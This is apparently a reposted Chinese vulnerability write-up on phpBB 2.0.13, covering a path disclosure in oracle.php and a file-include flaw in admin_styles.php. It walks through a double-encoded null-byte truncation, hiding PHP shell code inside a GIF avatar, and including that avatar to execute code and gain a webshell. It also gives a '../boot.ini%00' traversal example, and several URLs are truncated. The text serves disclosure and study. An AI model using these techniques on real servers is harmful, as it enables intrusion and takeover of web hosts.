phpBB 2.0.13 Path Disclosure And Remote php File Include

 

一、Path Disclosure

漏洞文件:/db/oracle.php
漏洞描叙:直接访问oracle.php,导致暴露web路径
涉及版本:phpbb <=2.013

测试:ie提交http://127.0.0.1/phpBB2/db/oracle.php 返回错误:

Fatal error: Cannot redeclare sql_nextid() in f:/easyphp1-7/www/phpbb2/db/oracle.php on line 405
 

解决办法

如果你不是采用的oracle数据库,可以直接把oracle.php删除
修改php.ini设置: display_errors = Off
二、Remote php File Include

漏洞文件:/admin/admin_styles.php
漏洞描叙:admin_styles.php文件里变量过滤不严,导致从后台执行恶意代码,从而危险服务器安全
涉及版本:phpbb <=2.013+ php <5.0

漏洞分析:

71 case "addnew":
72 $install_to = ( isset($HTTP_GET_VARS['install_to']) ) ? urldecode($HTTP_GET_VARS['install_to']) : $HTTP_POST_VARS['install_to'];
73 $style_name = ( isset($HTTP_GET_VARS['style']) ) ? urldecode($HTTP_GET_VARS['style']) : $HTTP_POST_VARS['style'];
74
75 if( isset($install_to) )
76 {
77
78 include($phpbb_root_path. "templates/" . $install_to . "/theme_info.cfg");
79
80 $template_name = $$install_to;
81 $found = FALSE;
 

$install_to变量过滤不严,导致被include($phpbb_root_path. "templates/" . $install_to . "/theme_info.cfg");调用,入侵者可以通过构造 $install_to达到攻击
目的

测试分析(目的:从后台得到webshelll):

首先我们只看78行代码

78 include($phpbb_root_path. "templates/" . $install_to . "/theme_info.cfg");
 

include最终于是执行了theme_info.cfg文件,theme_info.cfg是保存“风格”的一些设置 如果我们可以在从在theme_info.cfg文件插入恶意代码,那么就直接通过include执行了我们的代码 :) [思路参考《从后台到webshell的一点思路》]我们来测试下:

后台风格管理-->管理选项--->编辑-->CSS 风格表 输入";phpinfo();" (也可以是其他变量插入),然后“输出”设置成功保存到theme_info.cfg文件

我们在打开theme_info.cfg看看:

$subSilver[0]['head_stylesheet'] = "subSilver.css/";phpinfo();/"";
 

郁闷"被过滤了,我是在 magic_quotes_gpc = off 下测试的 看来phpbb本身对做了过滤 ,此路不通 :(

在对于<5.0(不包括4.10)的php本身存在对null截断的漏洞

------------------------------- 漏洞具体描叙 start -------------------------------
PHP存在输入验证漏洞,远程攻击者可以利用这个漏洞读取系统文件内容及进行目录遍历攻击。

问题一是addslashes()存在问题,addslashes()用于过滤用户输入,在magic_quotes_gpc设置"on"时,将对每个输入执行addslashes()进行过滤,但是由于NULL字节不正确被addslashes()编码,如果用户输入被include()或require()使用,可能导致攻击者读取文件系统的任意文件。

问题二是上传路径遍历问题,PHP自动过滤上传的文件名数据,删除在斜杠或反斜杠之前的数据,但是如果攻击者上传的文件包含单引号,而WEB服务又设置magic_quotes为ON,或者对上传文件名执行addslashes()操作,那么在单引号前会前缀一个反斜杠,因此在Windows系统可造成目录遍历问题,导致文件上传到系统任意目录中。

POC:

代码:

$whatever = addslashes($_REQUEST['whatever']);
include("/path/to/program/" . $whatever . "/header.htm");
?>
 

恶意攻击者可以提交如下URL获得文件内容:

http://localhost/phpscrip......ver=../../../../boot.ini%00
 

------------------------------- 漏洞具体描叙 end -------------------------------

下面我们回到phpbb 首先我们测试下%00,提交:

http://127.0.0.1/phpBB2/a......6eb9ea1e43e62cbd634
 

得到错误:

Warning: main(./../templates/theme_info.cfg/0/theme_info.cfg): failed to open stream: No such file or directory in f:/easyphp1-7/www/phpbb2/admin/admin_styles.php on line 78

Warning: main(): Failed opening './../templates/theme_info.cfg/0/theme_info.cfg' for inclusion (include_path='.;f:/EasyPHP1-7/php/pear/') in f:/easyphp1-7/www/phpbb2/admin/admin_styles.php on line 7
 

%00变从了/0,phpbb就是变态,既然%00不行 我们在看到72行代码:

72 $install_to = ( isset($HTTP_GET_VARS['install_to']) ) ? urldecode($HTTP_GET_VARS['install_to']) : $HTTP_POST_VARS['install_to'];
 

我们使用ie提交的方式是get 那么我们提交的&install_to,要被urldecode()解析,那么我们可以先把%00进行url编码一次:%25%30%30 提交:

http://127.0.0.1/phpBB2/a......6eb9ea1e43e62cbd634
 

返回:

Warning: main(./../templates/theme_info.cfg): failed to open stream: No such file or directory in f:/easyphp1-7/www/phpbb2/admin/admin_styles.php on line 78

Warning: main(): Failed opening './../templates/theme_info.cfg' for inclusion (include_path='.;f:/EasyPHP1-7/php/pear/') in f:/easyphp1-7/www/phpbb2/admin/admin_styles.php on line 7
 

注意和%00时比较

%00     ---> main(./../templates/theme_info.cfg/0/theme_info.cfg)
%25%30%30 ---> Warning: main(./../templates/theme_info.cfg)
 

哈哈 include成功被截断,那么我们可以利用../来调用容易文件咯 :)


具体利用

我们把phpshell代码保存为gif或其他图片格式,在通过论坛上传 然后利用构造 install_to 而被 include() 调用并执行。

这里phpshell代码代码使用 保存为 1.gif 我们到 http://127.0.0.1/phpBB2/profile.php?mode=editprofile 上传图像

返回错误:The avatar filetype must be .jpg, .gif or .png

如图1

大家都晓得图片文件都有他的“特殊标志” ,用uedit等编辑工具你就可以发现如 gif 文件的开头有“GIF89a” 看来phpbb在判断后缀后还用了 getimagesize() 或类似的函数判断,那么我们怎么绕过去呢?注意gif的文件尾部有个“0000...”的空数据区,我们就可以把php代码写到这个里面。

如图2

我们在上传这个修改了的 1.gif 文件上传! 呵呵上传成功,我们在察看你个人的资料察看原代码你就可以看到你上传后的文件为:images/avatars/109064250b9ce7ec7f.gif

如图3 ,接下来就是去构造 &install_to ,让 include 包含我们上传的images/avatars/109064250b9ce7ec7f.gif 从而执行我们的代码 :)

提交:

http://127.0.0.1/phpBB2/a......ea1e43e62cbd634

哈哈~ 成功返回phpinfo

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值